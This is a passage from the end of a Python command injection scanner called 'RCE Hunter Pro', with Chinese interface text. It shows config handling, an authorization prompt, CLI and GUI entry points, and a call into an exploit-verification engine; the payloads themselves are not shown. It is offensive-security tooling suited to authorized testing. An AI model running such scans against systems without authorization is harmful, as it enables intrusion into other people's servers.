            'reflected': self.reflected_var.get(),
            'headers': self.headers_var.get()
        }
        with open('.rce_hunter_config.json', 'w') as f:
            json.dump(config, f)
        messagebox.showinfo("成功", "配置已保存")

    def load_config(self):
        try:
            with open('.rce_hunter_config.json', 'r') as f:
                config = json.load(f)
                self.url_entry.delete(0, tk.END)
                self.url_entry.insert(0, config.get('last_url', ''))
                self.method_combo.set(config.get('last_method', 'GET'))
                self.cookie_entry.delete(0, tk.END)
                self.cookie_entry.insert(0, config.get('last_cookie', ''))
                self.data_entry.delete(0, tk.END)
                self.data_entry.insert(0, config.get('last_data', ''))
                self.threads_var.set(config.get('threads', 10))
                self.timeout_var.set(config.get('timeout', 15))
                self.time_based_var.set(config.get('time_based', True))
                self.reflected_var.set(config.get('reflected', True))
                self.headers_var.set(config.get('headers', True))
        except:
            pass  # 配置文件不存在或损坏

class InteractiveCLI:
    def confirm_auth(self):
        print(f"\n{Fore.RED}{'='*80}")
        print("⚠️  高风险操作警告 - 请仔细阅读")
        print("此工具会发送可能被WAF拦截或触发IDS报警的Payload。")
        print("请确认您拥有目标系统的合法测试授权。")
        print("未经授权使用本工具可能违反相关法律法规。")
        print(f"{'='*80}{Style.RESET_ALL}\n")
        res = input(f"{Fore.YELLOW}输入 'I_CONFIRM_AUTH' 确认授权并继续: {Style.RESET_ALL}")
        return res.strip().upper() == "I_CONFIRM_AUTH"

    def run(self):
        print(f"""
{Fore.CYAN}    ____  ____________    __  __            __           
   / __ \/ ____/ ____/   / / / /_  ______  / /____  _____
  / /_/ / /   / __/     / /_/ / / / / __ \/ __/ _ \/ ___/
 / _, _/ /___/ /___    / __  / /_/ / / / / /_/  __/ /    
/_/ |_|\____/_____/   /_/ /_/\__,_/_/ /_/\__/\___/_/     
{Fore.YELLOW}:: v3.0 Pro :: Command Injection Scanner :: Kali Linux Edition ::{Style.RESET_ALL}
        """)
        
        if not self.confirm_auth():
            print(f"{Fore.RED}未获得授权，程序退出。{Style.RESET_ALL}")
            sys.exit(0)
            
        target = input(f"{Fore.BLUE}[?] 目标 URL (e.g. http://site.com/vuln.php?id=1): {Style.RESET_ALL}")
        method = input(f"{Fore.BLUE}[?] 请求方法 (GET/POST) [默认GET]: {Style.RESET_ALL}").upper() or "GET"
        
        data = None
        if method == "POST":
            raw_data = input(f"{Fore.BLUE}[?] POST Data (key=val): {Style.RESET_ALL}")
            if raw_data:
                try:
                    data = json.loads(raw_data)
                except:
                    data = {}
                    for pair in raw_data.split('&'):
                        if '=' in pair:
                            k, v = pair.split('=', 1)
                            data[k] = v
            
        print(f"\n{Fore.GREEN}[+] 引擎启动中...{Style.RESET_ALL}")
        
        config = ConfigurationManager()
        scanner = RCEScanner(target, method, data, config=config.config)
        vulns = scanner.run()
        
        print("-" * 80)
        if vulns:
            print(f"{Fore.MAGENTA}[!] 发现 {len(vulns)} 个漏洞!{Style.RESET_ALL}")
            for i, vuln in enumerate(vulns, 1):
                print(f"{Fore.RED}[{i}] {vuln['type']}{Style.RESET_ALL}")
                print(f"    参数: {vuln['param']}")
                print(f"    Payload: {vuln['payload']}")
                print(f"    严重性: {vuln.get('severity', 'UNKNOWN')}")
                print()
            
            report = ReportGenerator.save_report(target, vulns)
            print(f"{Fore.GREEN}[+] 报告已生成: {report}{Style.RESET_ALL}")
            
            # 询问是否验证漏洞
            verify = input(f"{Fore.BLUE}[?] 是否验证漏洞? (y/n): {Style.RESET_ALL}").lower()
            if verify == 'y':
                exploit_engine = ExploitEngine(scanner)
                for vuln in vulns[:3]:  # 验证前3个漏洞
                    if exploit_engine.verify_vulnerability(vuln):
                        print(f"{Fore.GREEN}[+] 漏洞已验证: {vuln['param']}{Style.RESET_ALL}")
            
        else:
            print(f"{Fore.GREEN}[*] 扫描结束，目标看起来很安全。{Style.RESET_ALL}")

def main():
    parser = argparse.ArgumentParser(description="RCE Hunter Pro (优化版)")
    parser.add_argument("--gui", action="store_true", help="启动图形界面")
    parser.add_argument("--cli", action="store_true", help="启动交互式命令行")
    parser.add_argument("-u", "--url", help="目标URL")
    parser.add_argument("-m", "--method", default="GET", help="请求方法 (GET/POST)")
    parser.add_argument("-d", "--data", help="POST数据")
    parser.add_argument("-c", "--cookie", help="Cookie字符串")
    parser.add_argument("--threads", type=int, help="线程数")
    parser.add_argument("--timeout", type=int, help="超时时间")
    args = parser.parse_args()
    
    if args.gui:
        root = tk.Tk()
        app = GUIApp(root)
        root.mainloop()
    elif args.cli or len(sys.argv) == 1:
        cli = InteractiveCLI()
        cli.run()
    elif args.url:
        # 命令行模式
        config = ConfigurationManager()
        if args.threads:
            config.config['threads'] = args.threads
        if args.timeout:
            config.config['timeout'] = args.timeout
        
        data = {}
        if args.data:
            try:
                data = json.loads(args.data)
            except:
                data = {}
                for pair in args.data.split('&'):
                    if '=' in pair:
                        k, v = pair.split('=', 1)
                        data[k] = v
        
        scanner = RCEScanner(args.url, args.method, data, args.cookie, config=config.config)
        vulns = scanner.run()
        
        print("-" * 80)
        if vulns:
            print(f"{Fore.MAGENTA}[!] 发现 {len(vulns)} 个漏洞!{Style.RESET_ALL}")
            for vuln in vulns:
                print(f"{Fore.RED}[{vuln['type']}] {vuln['param']}{Style.RESET_ALL}")
            
            report = ReportGenerator.save_report(args.url, vulns)
            print(f"{Fore.GREEN}[+] 报告已生成: {report}{Style.RESET_ALL}")
        else:
            print(f"{Fore.GREEN}[*] 未发现漏洞{Style.RESET_ALL}")
    else:
        parser.print_help()

if __name__ == "__main__":
    main()